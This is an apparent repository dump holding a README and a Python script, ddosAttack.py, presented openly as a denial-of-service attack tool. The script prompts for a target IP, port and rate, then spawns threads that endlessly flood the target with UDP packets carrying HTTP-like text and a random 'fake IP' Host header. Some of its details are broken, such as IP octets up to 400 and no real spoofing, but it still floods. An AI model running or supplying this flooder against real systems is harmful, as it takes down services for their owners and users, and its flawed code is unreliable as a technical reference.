├── README.md └── ddosAttack.py /README.md: -------------------------------------------------------------------------------- 1 | # DOS Attack Script 2 | SIMPLE SCRIPT TO TAKE DOWN THE UPD CLIENT 3 | 4 | # Usage 5 | ```python3 ddosAttack.py``` 6 | 7 | * Insert target ip 8 | * Inset target port 9 | -------------------------------------------------------------------------------- /ddosAttack.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import threading 4 | import time 5 | from random import randint 6 | version = "1.0" 7 | print("Author: Anony0usWork1221") 8 | print("\n") 9 | print(f"VERSION : {version}") 10 | print('\n') 11 | print('\n\n') 12 | ip1 = randint (0,400) 13 | ip2 = randint (0,400) 14 | ip3 = randint (0,400) 15 | ip4 = randint (0,400) 16 | fake_ip = str (ip1) + '.' + str (ip2) + '.' +str (ip3) + '.' + str (ip4) 17 | ip = input ("ENTER TARGET IP: ") 18 | port = int (input ("ENTER TARGET PORT: ")) 19 | per_sec = int (input ("ENTER PACKETS SEND PER SEC: ")) 20 | os.system ('clear') 21 | print ("STARTED ATTACKING WITH IP " + str (ip) +" AND PORT " +str (port)) 22 | 23 | def ATTACK (): 24 | global ip 25 | global port 26 | while True: 27 | server = socket.socket (socket.AF_INET, socket.SOCK_DGRAM) 28 | server.sendto (("GET /" + ip + "HTTP/1.1 \r\n").encode ('ascii'), (ip,port)) 29 | server.sendto (("HOST: " + fake_ip + "\r\n\r\n").encode ('ascii'), (ip,port)) 30 | server.close () 31 | for i in range (per_sec): 32 | thread = threading.Thread (target = ATTACK) 33 | thread.start () 34 | --------------------------------------------------------------------------------